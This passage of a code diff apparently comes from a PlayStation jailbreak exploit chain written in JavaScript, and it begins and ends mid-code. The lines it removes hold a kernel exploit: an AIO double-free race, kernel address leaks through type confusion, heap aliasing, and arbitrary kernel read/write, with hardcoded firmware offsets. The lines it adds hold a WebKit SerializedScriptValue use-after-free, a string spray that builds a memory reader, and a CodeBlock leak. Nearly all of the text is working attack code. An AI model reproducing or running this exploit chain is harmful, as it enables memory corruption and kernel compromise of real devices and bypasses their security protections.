sce_errs[1]) { - log('ERROR: bad won_race'); - die('ERROR: bad won_race'); - } - // RESTORE: double freed memory has been reclaimed with harmless data - // PANIC: 0x80 malloc zone pointers aliased - return make_aliased_rthdrs(sds); - } - - return null; + return new Int(low, high); } -function double_free_reqs2(sds) { - function swap_bytes(x, byte_length) { - let res = 0; - for (let i = 0; i < byte_length; i++) { - res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1); - } +function prepare_uaf() { + const fsets = []; + const indices = []; - return res >>> 0; - } - - function htons(x) { - return swap_bytes(x, 2); - } - - function htonl(x) { - return swap_bytes(x, 4); - } - - const server_addr = new Buffer(16); - // sockaddr_in.sin_family - server_addr[1] = AF_INET; - // sockaddr_in.sin_port - server_addr.write16(2, htons(5050)); - // sockaddr_in.sin_addr = 127.0.0.1 - server_addr.write32(4, htonl(0x7f000001)); - - const racer = new Chain(); - const barrier = new Long(); - call_nze('pthread_barrier_init', barrier.addr, 0, 2); - - const num_reqs = 3; - const which_req = num_reqs - 1; - const reqs1 = make_reqs1(num_reqs); - const reqs1_p = reqs1.addr; - const aio_ids = new View4(num_reqs); - const aio_ids_p = aio_ids.addr; - const req_addr = aio_ids.addr_at(which_req); - const cmd = AIO_CMD_MULTI_READ; - - const sd_listen = new_tcp_socket(); - ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1)); - - sysi('bind', sd_listen, server_addr.addr, server_addr.size); - sysi('listen', sd_listen, 1); - - for (let i = 0; i < num_races; i++) { - const sd_client = new_tcp_socket(); - sysi('connect', sd_client, server_addr.addr, server_addr.size); - - const sd_conn = sysi('accept', sd_listen, 0, 0); - // force soclose() to sleep - ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1)); - reqs1.write32(0x20 + which_req*0x28, sd_client); - - aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p); - aio_multi_cancel(aio_ids_p, num_reqs); - aio_multi_poll(aio_ids_p, num_reqs); - - // drop the reference so that aio_multi_delete() will trigger _fdrop() - close(sd_client); - - const res = race_one(req_addr, sd_conn, barrier, racer, sds); - racer.reset(); - - // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented - // twice. this will leave one request undeleted - aio_multi_delete(aio_ids_p, num_reqs); - close(sd_conn); - - if (res !== null) { - log(`won race at attempt: ${i}`); - close(sd_listen); - call_nze('pthread_barrier_destroy', barrier.addr); - return res; + function alloc_fs(fsets, size) { + for (let i = 0; i < size / 2; i++) { + const fset = document.createElement('frameset'); + fset.rows = rows; + fset.cols = rows; + fsets.push(fset); } } - die('failed aio double free'); + // the first call to either replaceState/pushState is likely to allocate a + // JSC::IsoAlignedMemoryAllocator near the SSV it creates. this prevents + // the SmallLine where the SSV resides from being freed. so we do a dummy + // call first + history.replaceState('state0', ''); + + alloc_fs(fsets, num_fsets); + + // the "state1" SSVs is what we will UAF + + history.pushState('state1', '', original_loc + '#bar'); + indices.push(fsets.length); + + alloc_fs(fsets, num_spaces); + + history.pushState('state1', '', original_loc + '#foo'); + indices.push(fsets.length); + + alloc_fs(fsets, num_spaces); + + history.pushState('state2', ''); + return [fsets, indices]; } -// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS +// WebCore::SerializedScriptValue use-after-free +// +// be careful when accessing history.state since History::state() will get +// called. History will cache the SSV at its m_lastStateObjectRequested if you +// do. that field is a RefPtr, thus preventing a UAF if we cache "state1" +async function uaf_ssv(fsets, index, index2) { + const views = []; + const input = document.createElement('input'); + input.id = 'input'; + const foo = document.createElement('input'); + foo.id = 'foo'; + const bar = document.createElement('a'); + bar.id = 'bar'; -function new_evf(flags) { - const name = cstr(''); - // int evf_create(char *name, uint32_t attributes, uint64_t flags) - return sysi('evf_create', name.addr, 0, flags); -} + log(`ssv_len: ${hex(ssv_len)}`); -function set_evf_flags(id, flags) { - sysi('evf_clear', id, 0); - sysi('evf_set', id, flags); -} + let pop = null; + let pop2 = null; + let pop_promise2 = null; + let blurs = [0, 0]; + let resolves = []; -function free_evf(id) { - sysi('evf_delete', id); -} + function onpopstate(event) { + const no_pop = pop === null; + const idx = no_pop ? 0 : 1; -function verify_reqs2(buf, offset) { - // reqs2.ar2_cmd - if (buf.read32(offset) !== AIO_CMD_WRITE) { - return false; - } - - // heap addresses are prefixed with 0xffff_xxxx - // xxxx is randomized on boot - // - // heap_prefixes is a array of randomized prefix bits from a group of heap - // address candidates. if the candidates truly are from the heap, they must - // share a common prefix - const heap_prefixes = []; - - // check if offsets 0x10 to 0x20 look like a kernel heap address - for (let i = 0x10; i <= 0x20; i += 8) { - if (buf.read16(offset + i + 6) !== 0xffff) { - return false; - } - heap_prefixes.push(buf.read16(offset + i + 4)); - } - - // check reqs2.ar2_result.state - // state is actually a 32-bit value but the allocated memory was - // initialized with zeros. all padding bytes must be 0 then - let state = buf.read32(offset + 0x38); - if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) { - return false; - } - - // reqs2.ar2_file must be NULL since we passed a bad file descriptor to - // aio_submit_cmd() - if (!buf.read64(offset + 0x40).eq(0)) { - return false; - } - - // check if offsets 0x48 to 0x50 look like a kernel address - for (let i = 0x48; i <= 0x50; i += 8) { - if (buf.read16(offset + i + 6) === 0xffff) { - // don't push kernel ELF addresses - if (buf.read16(offset + i + 4) !== 0xffff) { - heap_prefixes.push(buf.read16(offset + i + 4)); - } - // offset 0x48 can be NULL - } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) { - return false; - } - } - - return heap_prefixes.every((e, i, a) => e === a[0]); -} - -function leak_kernel_addrs(sd_pair) { - close(sd_pair[1]); - const sd = sd_pair[0]; - const buf = new Buffer(0x80 * leak_len); - - // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf - // must be set to >= 0xf00 in order to fully leak the contents of the rthdr - log('confuse evf with rthdr'); - let evf = null; - for (let i = 0; i < num_alias; i++) { - const evfs = []; - for (let i = 0; i < num_handles; i++) { - evfs.push(new_evf(0xf00 | i << 16)); + log(`pop ${idx} came`); + if (blurs[idx] === 0) { + const r = resolves[idx][1]; + r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); } - get_rthdr(sd, buf, 0x80); - // for simplicity, we'll assume i < 2**16 - const flags32 = buf.read32(0); - evf = evfs[flags32 >>> 16]; + if (no_pop) { + pop_promise2 = new Promise((resolve, reject) => { + resolves.push([resolve, reject]); + addEventListener('popstate', onpopstate, {once: true}); + history.back(); + }); + } - set_evf_flags(evf, flags32 | 1); - get_rthdr(sd, buf, 0x80); - - if (buf.read32(0) === flags32 | 1) { - evfs.splice(flags32 >> 16, 1); + if (no_pop) { + pop = event; } else { - evf = null; + pop2 = event; + } + resolves[idx][0](); + } + + const pop_promise = new Promise((resolve, reject) => { + resolves.push([resolve, reject]); + addEventListener('popstate', onpopstate, {once: true}); + }); + + function onblur(event) { + const target = event.target; + const is_input = target === input; + const idx = is_input ? 0 : 1; + log(`${target.id} blur came`); + + if (blurs[idx] > 0) { + die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); } - for (const evf of evfs) { - free_evf(evf); + // we replace the URL with the original so the user can rerun the + // exploit via a reload. If we don't, the exploit will append another + // "#foo" to the URL and the input element will not be blurred because + // the foo element won't be scrolled to during history.back() + history.replaceState('state3', '', original_loc); + + // free the SerializedScriptValue's neighbors and thus free the + // SmallLine where it resides + const fset_idx = is_input ? index : index2; + for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { + fsets[i].rows = ''; + fsets[i].cols = ''; } - if (evf !== null) { - log(`confused rthdr and evf at attempt: ${i}`); + for (let i = 0; i < num_reuses; i++) { + const view = new Uint8Array(new ArrayBuffer(ssv_len)); + view[0] = 0x41; + views.push(view); + } + + blurs[idx]++; + } + + input.addEventListener('blur', onblur); + foo.addEventListener('blur', onblur); + + document.body.append(input); + document.body.append(foo); + document.body.append(bar); + + // FrameLoader::loadInSameDocument() calls Document::statePopped(). + // statePopped() will defer firing of popstate until we're in the complete + // state + // + // this means that onblur() will run with "state2" as the current history + // item if we call loadInSameDocument too early + log(`readyState now: ${document.readyState}`); + + if (document.readyState !== 'complete') { + await new Promise(resolve => { + document.addEventListener('readystatechange', function foo() { + if (document.readyState === 'complete') { + document.removeEventListener('readystatechange', foo); + resolve(); + } + }); + }); + } + + log(`readyState now: ${document.readyState}`); + + await new Promise(resolve => { + input.addEventListener('focus', resolve, {once: true}); + input.focus(); + }); + + history.back(); + await pop_promise; + await pop_promise2; + + log('done await popstate'); + + input.remove(); + foo.remove(); + bar.remove(); + + const res = []; + for (let i = 0; i < views.length; i++) { + const view = views[i]; + if (view[0] !== 0x41) { + log(`view index: ${hex(i)}`); + log('found view:'); + log(view); + + // set SSV's refcount to 1, all other fields to 0/NULL + view[0] = 1; + view.fill(0, 1); + + if (res.length) { + res[1] = [new BufferView(view.buffer), pop2]; + break; + } + + // return without keeping any references to pop, making it GC-able. + // its WebCore::PopStateEvent will then be freed on its death + res[0] = new BufferView(view.buffer); + i = num_reuses - 1; + } + } + + if (res.length !== 2) { + die('failed SerializedScriptValue UAF'); + } + return res; +} + +class Reader { + constructor(rstr, rstr_view) { + this.rstr = rstr; + this.rstr_view = rstr_view; + this.m_data = rstr_view.read64(off.strimpl_m_data); + } + + read8_at(offset) { + return this.rstr.charCodeAt(offset); + } + + read32_at(offset) { + const str = this.rstr; + return ( + str.charCodeAt(offset) + | str.charCodeAt(offset + 1) << 8 + | str.charCodeAt(offset + 2) << 16 + | str.charCodeAt(offset + 3) << 24 + ) >>> 0; + } + + read64_at(offset) { + return sread64(this.rstr, offset); + } + + read64(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + return sread64(this.rstr, 0); + } + + set_addr(addr) { + this.rstr_view.write64(off.strimpl_m_data, addr); + } + + // remember to use this to fix up the StringImpl before freeing it + restore() { + this.rstr_view.write64(off.strimpl_m_data, this.m_data); + this.rstr_view.write32(off.strimpl_strlen, original_strlen); + } +} + +// we now have a double free on the fastMalloc heap +async function make_rdr(view) { + let str_wait = 0; + const strs = []; + const u32 = new Uint32Array(1); + const u8 = new Uint8Array(u32.buffer); + const marker_offset = original_strlen - 4; + const pad = 'B'.repeat(marker_offset); + + log('start string spray'); + while (true) { + for (let i = 0; i < num_strs; i++) { + u32[0] = i; + // on versions like 8.0x: + // * String.fromCharCode() won't create a 8-bit string. so we use + // fromCodePoint() instead + // * Array.prototype.join() won't try to convert 16-bit strings to + // 8-bit + // + // given the restrictions above, we will ensure "str" is always a + // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) + // to see that String.prototype.repeat() will create a 8-bit string + // if the repeated string's length is 1 + // + // Array.prototype.join() calls JSC::JSStringJoiner::join(). it + // returns a plain JSString (not a JSRopeString). that means we + // have allocated a WTF::StringImpl with the proper size and whose + // string data is inlined + const str = [pad, String.fromCodePoint(...u8)].join(''); + strs.push(str); + } + + if (view.read32(off.strimpl_inline_str) === 0x42424242) { + view.write32(off.strimpl_strlen, 0xffffffff); break; } + + strs.length = 0; + gc(); + await sleep(); + str_wait++; } + log(`JSString reused memory at loop: ${str_wait}`); - if (evf === null) { - die('failed to confuse evf and rthdr'); - } + const idx = view.read32(off.strimpl_inline_str + marker_offset); + log(`str index: ${hex(idx)}`); + log('view:'); + log(view); - set_evf_flags(evf, 0xff << 8); - get_rthdr(sd, buf, 0x80); - - // fields we use from evf (number before the field is the offset in hex): - // struct evf: - // 0 u64 flags - // 28 struct cv cv - // 38 TAILQ_HEAD(struct evf_waiter) waiters - - // evf.cv.cv_description = "evf cv" - // string is located at the kernel's mapped ELF file - const kernel_addr = buf.read64(0x28); - log(`"evf cv" string addr: ${kernel_addr}`); - // because of TAILQ_INIT(), we have: + // versions like 8.0x have a JSC::JSString that have their own m_length + // field. strings consult that field instead of the m_length of their + // StringImpl // - // evf.waiters.tqh_last == &evf.waiters.tqh_first - // - // we now know the address of the kernel buffer we are leaking - const kbuf_addr = buf.read64(0x40).sub(0x38); - log(`kernel buffer addr: ${kbuf_addr}`); - - // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100 - // allocate reqs1 arrays at 0x100 malloc zone - const num_elems = 6; - // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of - // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket - // field - const ucred = kbuf_addr.add(4); - - const leak_reqs = make_reqs1(num_elems); - const leak_reqs_p = leak_reqs.addr; - leak_reqs.write64(0x10, ucred); - - const leak_ids_len = num_handles * num_elems; - const leak_ids = new View4(leak_ids_len); - const leak_ids_p = leak_ids.addr; - - log('find aio_entry'); - let reqs2_off = null; - loop: for (let i = 0; i < num_leaks; i++) { - get_rthdr(sd, buf); - - spray_aio( - num_handles, - leak_reqs_p, - num_elems, - leak_ids_p, - true, - AIO_CMD_WRITE, + // we work around this by passing the string to Error. + // ErrorInstance::create() will then create a new JSString initialized from + // the StringImpl of the message argument + const rstr = Error(strs[idx]).message; + log(`str len: ${hex(rstr.length)}`); + if (rstr.length === 0xffffffff) { + log('confirmed correct leaked'); + const addr = ( + view.read64(off.strimpl_m_data) + .sub(off.strimpl_inline_str) ); - - get_rthdr(sd, buf); - for (let off = 0x80; off < buf.length; off += 0x80) { - if (verify_reqs2(buf, off)) { - reqs2_off = off; - log(`found reqs2 at attempt: ${i}`); - break loop; - } - } - - free_aios(leak_ids_p, leak_ids_len); + log(`view's buffer address: ${addr}`); + return new Reader(rstr, view); } - if (reqs2_off === null) { - die('could not leak a reqs2'); - } - log(`reqs2 offset: ${hex(reqs2_off)}`); - - get_rthdr(sd, buf); - const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); - log('leaked aio_entry:'); - hexdump(reqs2); - - const reqs1_addr = new Long(reqs2.read64(0x10)); - log(`reqs1_addr: ${reqs1_addr}`); - reqs1_addr.lo &= -0x100; - log(`reqs1_addr: ${reqs1_addr}`); - - log('searching target_id'); - let target_id = null; - let to_cancel_p = null; - let to_cancel_len = null; - for (let i = 0; i < leak_ids_len; i += num_elems) { - aio_multi_cancel(leak_ids_p.add(i << 2), num_elems); - - get_rthdr(sd, buf); - const state = buf.read32(reqs2_off + 0x38); - if (state === AIO_STATE_ABORTED) { - log(`found target_id at batch: ${i / num_elems}`); - - target_id = new Word(leak_ids[i]); - leak_ids[i] = 0; - log(`target_id: ${hex(target_id)}`); - - const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80); - log('leaked aio_entry:'); - hexdump(reqs2); - - const start = i + num_elems; - to_cancel_p = leak_ids.addr_at(start); - to_cancel_len = leak_ids_len - start; - break; - } - } - if (target_id === null) { - die('target_id not found'); - } - - cancel_aios(to_cancel_p, to_cancel_len); - free_aios2(leak_ids_p, leak_ids_len); - - return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf]; + die("JSString wasn't modified"); } -// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE - -function make_aliased_pktopts(sds) { - const tclass = new Word(); - for (let loop = 0; loop < num_alias; loop++) { - for (let i = 0; i < num_sds; i++) { - tclass[0] = i; - ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - } - - for (let i = 0; i < sds.length; i++) { - gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if (marker !== i) { - log(`aliased pktopts at attempt: ${loop}`); - const pair = [sds[i], sds[marker]]; - log(`found pair: ${pair}`); - sds.splice(marker, 1); - sds.splice(i, 1); - // add pktopts to the new sockets now while new allocs can't - // use the double freed memory - for (let i = 0; i < 2; i++) { - const sd = new_socket(); - ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - sds.push(sd); - } - - return pair; - } - } - - for (let i = 0; i < num_sds; i++) { - setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); - } - } - die('failed to make aliased pktopts'); -} - -function double_free_reqs1( - reqs1_addr, kbuf_addr, target_id, evf, sd, sds, -) { - const max_leak_len = (0xff + 1) << 3; - const buf = new Buffer(max_leak_len); - - const num_elems = max_aio_ids; - const aio_reqs = make_reqs1(num_elems); - const aio_reqs_p = aio_reqs.addr; - - const num_batches = 2; - const aio_ids_len = num_batches * num_elems; - const aio_ids = new View4(aio_ids_len); - const aio_ids_p = aio_ids.addr; - - log('start overwrite rthdr with AIO queue entry loop'); - let aio_not_found = true; - free_evf(evf); - for (let i = 0; i < num_clobbers; i++) { - spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); - - if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { - log(`aliased at attempt: ${i}`); - aio_not_found = false; - cancel_aios(aio_ids_p, aio_ids_len); - break; - } - - free_aios(aio_ids_p, aio_ids_len); - } - if (aio_not_found) { - die('failed to overwrite rthdr'); - } - - const reqs2 = new Buffer(0x80); - const rsize = build_rthdr(reqs2, reqs2.size); - // .ar2_ticket - reqs2.write32(4, 5); - // .ar2_info - reqs2.write64(0x18, reqs1_addr); - // craft a aio_batch using the end portion of the buffer - const reqs3_off = 0x28; - // .ar2_batch - reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); - - // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo - // safe since free_queue_entry() doesn't deref the pointer - reqs2.write32(reqs3_off, 1); - reqs2.write32(reqs3_off + 4, 0); - // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue - reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); - reqs2[reqs3_off + 0xc] = 0; - // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) - // safe since the entry already got dequeued +// we will create a JSC::CodeBlock whose m_constantRegisters is set to an array +// of JSValues whose size is ssv_len. the undefined constant is automatically +// added due to reasons such as "undefined is returned by default if the +// function exits without returning anything" +const cons_len = ssv_len - 8*5; +const bt_offset = 0; +const idx_offset = ssv_len - 8*3; +const strs_offset = ssv_len - 8*2; +const src_part = (() => { + // we user var instead of let/const since such variables always get + // initialized to the NULL JSValue even if you immediately return. we will + // make functions that do as little as possible in order to speed up the + // exploit. m_constantRegisters will still contain the unused constants // - // .ar3_lock.lock_object.lo_flags = ( - // LO_SLEEPABLE | LO_UPGRADABLE - // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS - // | 6 << LO_CLASSSHIFT - // | LO_INITIALIZED - // ) - reqs2.write32(reqs3_off + 0x28, 0x67b0000); - // .ar3_lock.lk_lock = LK_UNLOCKED - reqs2.write64(reqs3_off + 0x38, 1); + // function foo() { + // return; + // let a = 1; + // } + // + // the resulting bytecode: + // bb#1 + // [ 0] enter + // [ 1] get_scope loc4 + // [ 3] mov loc5, loc4 + // [ 6] check_traps + // // this part still initializes a with the NULL JSValue + // [ 7] mov loc6, (const0) + // [ 10] ret Undefined(const1) + // Successors: [ ] + // + // bb#2 + // [ 12] mov loc6, Int32: 1(const2) + // [ 15] ret Undefined(const1) + // Successors: [ ] + // + // + // Constants: + // k0 = + // k1 = Undefined + // k2 = Int32: 1: in source as integer + let res = 'var f = 0x11223344;\n'; + // make unique constants that won't collide with the possible marker values + for (let i = 0; i < cons_len; i += 8) { + res += `var a${i} = ${num_leaks + i};\n`; + } + return res; +})(); - const states = new View4(num_elems); - const states_p = states.addr; - const addr_cache = [aio_ids_p]; - for (let i = 1; i < num_batches; i++) { - addr_cache.push(aio_ids_p.add((i * num_elems) << 2)); +async function leak_code_block(reader, bt_size) { + const rdr = reader; + const bt = []; + // take into account the cell and indexing header of the immutable + // butterfly + for (let i = 0; i < bt_size - 0x10; i += 8) { + bt.push(i); } - log('start overwrite AIO queue entry with rthdr loop'); - let req_id = null; - close(sd); - sd = null; - loop: for (let i = 0; i < num_alias; i++) { - for (const sd of sds) { - set_rthdr(sd, reqs2, rsize); + // cache the global variable resolution + const slen = ssv_len; + + const bt_part = `var bt = [${bt}];\nreturn bt;\n`; + const part = bt_part + src_part; + const cache = []; + for (let i = 0; i < num_leaks; i++) { + cache.push(part + `var idx = ${i};\nidx\`foo\`;`); + } + + const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB; + const smallPageSize = 4 * KB; + const search_addr = align(rdr.m_data, chunkSize); + log(`search addr: ${search_addr}`); + + log(`func_src:\n${cache[0]}\nfunc_src end`); + log('start find CodeBlock'); + let winning_off = null; + let winning_idx = null; + let winning_f = null; + let find_cb_loop = 0; + // false positives + let fp = 0; + rdr.set_addr(search_addr); + loop: while (true) { + const funcs = []; + for (let i = 0; i < num_leaks; i++) { + const f = Function(cache[i]); + // the first call allocates the CodeBlock + f(); + funcs.push(f); } - for (let batch = 0; batch < addr_cache.length; batch++) { - states.fill(-1); - aio_multi_cancel(addr_cache[batch], num_elems, states_p); - - const req_idx = states.indexOf(AIO_STATE_COMPLETE); - if (req_idx !== -1) { - log(`req_idx: ${req_idx}`); - log(`found req_id at batch: ${batch}`); - log(`states: ${[...states].map(e => hex(e))}`); - log(`states[${req_idx}]: ${hex(states[req_idx])}`); - log(`aliased at attempt: ${i}`); - - const aio_idx = batch*num_elems + req_idx; - req_id = new Word(aio_ids[aio_idx]); - log(`req_id: ${hex(req_id)}`); - aio_ids[aio_idx] = 0; - - // set .ar3_done to 1 - poll_aio(req_id, states); - log(`states[${req_idx}]: ${hex(states[0])}`); - for (let i = 0; i < num_sds; i++) { - const sd2 = sds[i]; - get_rthdr(sd2, reqs2); - const done = reqs2[reqs3_off + 0xc]; - if (done) { - hexdump(reqs2); - sd = sd2; - sds.splice(i, 1); - free_rthdrs(sds); - sds.push(new_socket()); - break; - } + for (let p = 0; p < chunkSize; p += smallPageSize) { + for (let i = p; i < p + smallPageSize; i += slen) { + if (rdr.read32_at(i + 8) !== 0x11223344) { + continue; } - if (sd === null) { - die("can't find sd that overwrote AIO queue entry"); + + rdr.set_addr(rdr.read64_at(i + strs_offset)); + const m_type = rdr.read8_at(5); + // make sure we're not reading the constant registers of an + // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors. + // CodeBlock converts those to JSArrays + if (m_type !== 0) { + rdr.set_addr(search_addr); + winning_off = i; + winning_idx = rdr.read32_at(i + idx_offset); + winning_f = funcs[winning_idx]; + break loop; } - log(`sd: ${sd}`); - - break loop; - } - } - } - if (req_id === null) { - die('failed to overwrite AIO queue entry'); - } - free_aios2(aio_ids_p, aio_ids_len); - - // enable deletion of target_id - poll_aio(target_id, states); - log(`target's state: ${hex(states[0])}`); - - const sce_errs = new View4([-1, -1]); - const target_ids = new View4([req_id, target_id]); - // PANIC: double free on the 0x100 malloc zone. important kernel data may - // alias - aio_multi_delete(target_ids.addr, 2, sce_errs.addr); - - // we reclaim first since the sanity checking here is longer which makes it - // more likely that we have another process claim the memory - try { - // RESTORE: double freed memory has been reclaimed with harmless data - // PANIC: 0x100 malloc zone pointers aliased - const sd_pair = make_aliased_pktopts(sds); - return [sd_pair, sd]; - } finally { - log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`); - - states[0] = -1; - states[1] = -1; - poll_aio(target_ids, states); - log(`target states: ${hex(states[0])}, ${hex(states[1])}`); - - const SCE_KERNEL_ERROR_ESRCH = 0x80020003; - let success = true; - if (states[0] !== SCE_KERNEL_ERROR_ESRCH) { - log('ERROR: bad delete of corrupt AIO request'); - success = false; - } - if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) { - log('ERROR: bad delete of ID pair'); - success = false; - } - - if (!success) { - die('ERROR: double free on a 0x100 malloc zone failed'); - } - } -} - -// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE - -// k100_addr is double freed 0x100 malloc zone address -// dirty_sd is the socket whose rthdr pointer is corrupt -// kernel_addr is the address of the "evf cv" string -function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) { - const psd = pktopts_sds[0]; - const tclass = new Word(); - const off_tclass = is_ps4 ? 0xb0 : 0xc0; - - const pktopts = new Buffer(0x100); - const rsize = build_rthdr(pktopts, pktopts.size); - const pktinfo_p = k100_addr.add(0x10); - // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo - pktopts.write64(0x10, pktinfo_p); - - log('overwrite main pktopts'); - let reclaim_sd = null; - close(pktopts_sds[1]); - for (let i = 0; i < num_alias; i++) { - for (let i = 0; i < num_sds; i++) { - // if a socket doesn't have a pktopts, setting the rthdr will make - // one. the new pktopts might reuse the memory instead of the - // rthdr. make sure the sockets already have a pktopts before - pktopts.write32(off_tclass, 0x4141 | i << 16); - set_rthdr(sds[i], pktopts, rsize); - } - - gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass); - const marker = tclass[0]; - if ((marker & 0xffff) === 0x4141) { - log(`found reclaim sd at attempt: ${i}`); - const idx = marker >>> 16; - reclaim_sd = sds[idx]; - sds.splice(idx, 1); - break; - } - } - if (reclaim_sd === null) { - die('failed to overwrite main pktopts'); - } - - const pktinfo = new Buffer(0x14); - pktinfo.write64(0, pktinfo_p); - const nhop = new Word(); - const nhop_p = nhop.addr; - const read_buf = new Buffer(8); - const read_buf_p = read_buf.addr; - function kread64(addr) { - const len = 8; - let offset = 0; - while (offset < len) { - // pktopts.ip6po_nhinfo = addr + offset - pktinfo.write64(8, addr.add(offset)); - nhop[0] = len - offset; - - ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - sysi( - 'getsockopt', - psd, IPPROTO_IPV6, IPV6_NEXTHOP, - read_buf_p.add(offset), nhop_p, - ); - - const n = nhop[0]; - if (n === 0) { - read_buf[offset] = 0; - offset += 1; - } else { - offset += n; - } - } - return read_buf.read64(0); - } - - log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`); - const kstr = jstr(read_buf); - log(`*(&"evf cv"): ${kstr}`); - if (kstr !== 'evf cv') { - die('test read of &"evf cv" failed'); - } - - // Only For PS4 9.00 - - const off_kstr = 0x7f6f27; - const kbase = kernel_addr.sub(off_kstr); - log(`kernel base: ${kbase}`); - - log('\nmaking arbitrary kernel read/write'); - const cpuid = 7 - main_core; - const off_cpuid_to_pcpu = 0x21ef2a0; - const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8); - log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`); - const pcpu = kread64(pcpu_p); - log(`pcpu: ${pcpu}`); - log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`); - // __pcpu[cpuid].pc_curthread - const td = kread64(pcpu); - log(`td: ${td}`); - - const off_td_proc = 8; - const proc = kread64(td.add(off_td_proc)); - log(`proc: ${proc}`); - const pid = sysi('getpid'); - log(`our pid: ${pid}`); - const pid2 = kread64(proc.add(0xb0)).lo; - log(`suspected proc pid: ${pid2}`); - if (pid2 !== pid) { - die('process not found'); - } - - const off_p_fd = 0x48; - const p_fd = kread64(proc.add(off_p_fd)); - log(`proc.p_fd: ${p_fd}`); - // curthread->td_proc->p_fd->fd_ofiles - const ofiles = kread64(p_fd); - log(`ofiles: ${ofiles}`); - - const off_p_ucred = 0x40; - const p_ucred = kread64(proc.add(off_p_ucred)); - log(`p_ucred ${p_ucred}`); - - const pipes = new View4(2); - sysi('pipe', pipes.addr); - const pipe_file = kread64(ofiles.add(pipes[0] * 8)); - log(`pipe file: ${pipe_file}`); - // ofiles[pipe_fd].f_data - const kpipe = kread64(pipe_file); - log(`pipe pointer: ${kpipe}`); - - const pipe_save = new Buffer(0x18); // sizeof struct pipebuf - for (let off = 0; off < pipe_save.size; off += 8) { - pipe_save.write64(off, kread64(kpipe.add(off))); - } - - const main_sd = psd; - const worker_sd = dirty_sd; - - const main_file = kread64(ofiles.add(main_sd * 8)); - log(`main sock file: ${main_file}`); - // ofiles[sd].f_data - const main_sock = kread64(main_file); - log(`main sock pointer: ${main_sock}`); - // socket.so_pcb (struct inpcb *) - const m_pcb = kread64(main_sock.add(0x18)); - log(`main sock pcb: ${m_pcb}`); - // inpcb.in6p_outputopts - const m_pktopts = kread64(m_pcb.add(0x118)); - log(`main pktopts: ${m_pktopts}`); - log(`0x100 malloc zone pointer: ${k100_addr}`); - - if (m_pktopts.ne(k100_addr)) { - die('main pktopts pointer != leaked pktopts pointer'); - } - - // ofiles[sd].f_data - const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8))); - log(`reclaim sock pointer: ${reclaim_sock}`); - // socket.so_pcb (struct inpcb *) - const r_pcb = kread64(reclaim_sock.add(0x18)); - log(`reclaim sock pcb: ${r_pcb}`); - // inpcb.in6p_outputopts - const r_pktopts = kread64(r_pcb.add(0x118)); - log(`reclaim pktopts: ${r_pktopts}`); - - // ofiles[sd].f_data - const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8))); - log(`worker sock pointer: ${worker_sock}`); - // socket.so_pcb (struct inpcb *) - const w_pcb = kread64(worker_sock.add(0x18)); - log(`worker sock pcb: ${w_pcb}`); - // inpcb.in6p_outputopts - const w_pktopts = kread64(w_pcb.add(0x118)); - log(`worker pktopts: ${w_pktopts}`); - - // get restricted read/write with pktopts pair - // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo - const w_pktinfo = w_pktopts.add(0x10); - pktinfo.write64(0, w_pktinfo); - pktinfo.write64(8, 0); // clear .ip6po_nexthop - ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - - pktinfo.write64(0, kernel_addr); - ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo); - const kstr2 = jstr(pktinfo); - log(`*(&"evf cv"): ${kstr2}`); - if (kstr2 !== 'evf cv') { - die('pktopts read failed'); - } - log('achieved restricted kernel read/write'); - - // 